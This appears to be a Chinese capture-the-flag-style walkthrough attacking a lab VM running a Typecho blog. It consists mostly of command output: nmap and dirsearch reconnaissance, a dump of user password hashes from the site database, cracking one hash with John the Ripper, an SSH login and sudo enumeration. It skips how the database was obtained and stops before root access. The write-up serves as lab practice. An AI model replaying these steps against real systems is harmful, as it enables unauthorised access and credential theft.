┌──(root㉿kali)-[~/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-25 15:32 +0800 Nmap scan report for 192.168.2.1 Host is up (0.00066s latency). MAC Address: 0A:00:27:00:00:07 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00056s latency). MAC Address: 08:00:27:92:0B:4D (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.75 Host is up (0.00094s latency). MAC Address: 08:00:27:1E:9E:E3 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 8.47 seconds
靶机IP：192.168.2.75
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.75 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-25 15:37 +0800 Nmap scan report for 192.168.2.75 Host is up (0.00028s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:1E:9E:E3 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 43.02 seconds
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80 192.168.2.75 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-25 15:38 +0800 Nmap scan report for 192.168.2.75 Host is up (0.0011s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0 (protocol 2.0) 80/tcp open http nginx |_http-generator: Typecho 1.3.0 |_http-title: type.dsz MAC Address: 08:00:27:1E:9E:E3 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[~/miaosec] └─# nmap -sU --top-ports 100 192.168.2.75 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-25 15:38 +0800 Nmap scan report for 192.168.2.75 Host is up (0.00085s latency). All 100 scanned ports on 192.168.2.75 are in ignored states. Not shown: 57 closed udp ports (port-unreach), 43 open|filtered udp ports (no-response) MAC Address: 08:00:27:1E:9E:E3 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 55.49 seconds
┌──(root㉿kali)-[~/miaosec] └─# dirsearch -u http://type.dsz /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(root㉿kali)-[/tmp] └─# sqlite3 typecho.db SQLite version 3.46.1 2024-08-13 09:16:08 Enter ".help"for usage hints. sqlite> .show echo: off eqp: off explain: auto headers: off mode: list nullvalue: "" output: stdout colseparator: "|" rowseparator: "\n" stats: off width: filename: typecho.db sqlite> .tables typecho_comments typecho_metas typecho_users typecho_contents typecho_options typecho_fields typecho_relationships sqlite> select * from typecho_users; 1|admin|$P$B/xZAkZ342fLS1sEQwQfsXTVKiBnVG/|admin@type.dsz|http://type.dsz/|admin|1771773701|1772094602|1771815254|administrator|64f0e6e34396f985205ac19ef1c71e23 2|sburro|$P$BfS2sY4Vz6sHjC52095jVAFOjMNyuy1|sburro@type.dsz||sburro|1771774529|1774257141|1772093510|contributor|5884754808cdbe5ad69eeaa4e42c3f18 3|plugugly|$P$BuyKfLj9xZ0iLez6SomJNOLGx.7g.U/|plugugly@type.dsz||plugugly|1771812079|0|0|subscriber|
使用john破解hash值$P$BuyKfLj9xZ0iLez6SomJNOLGx.7g.U/
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[/tmp] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 2boobies (?) 1g 0:00:00:04 DONE (2026-03-23 17:26) 0.2109g/s 20901p/s 20901c/s 20901C/s Dominic1..10031985 Use the "--show --format=phpass" options to display all of the cracked passwords reliably
成功获取到密码，得到权限
1 2 3 4
┌──(root㉿kali)-[/tmp] └─# ssh plugugly@192.168.2.75 Type:~$ id uid=1000(plugugly) gid=1000(plugugly) groups=1000(plugugly)
2、获取root权限
查看sudo -l
1 2 3 4 5 6 7 8 9
Type:~$ sudo -l Matching Defaults entries for plugugly on Type: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XAUTHORITY
Runas and Command-specific defaults for plugugly: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User plugugly may run the following commands on Type: (ALL) NOPASSWD: /root/typer.py
执行一下看看
1 2 3 4 5 6 7 8 9
Type:~$ sudo /root/typer.py -h qt.qpa.xcb: could not connect to display qt.qpa.plugin: From 6.5.0, xcb-cursor0 or libxcb-cursor0 is needed to load the Qt xcb platform plugin. qt.qpa.plugin: Could not load the Qt platform plugin "xcb"in"" even though it was found. This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.
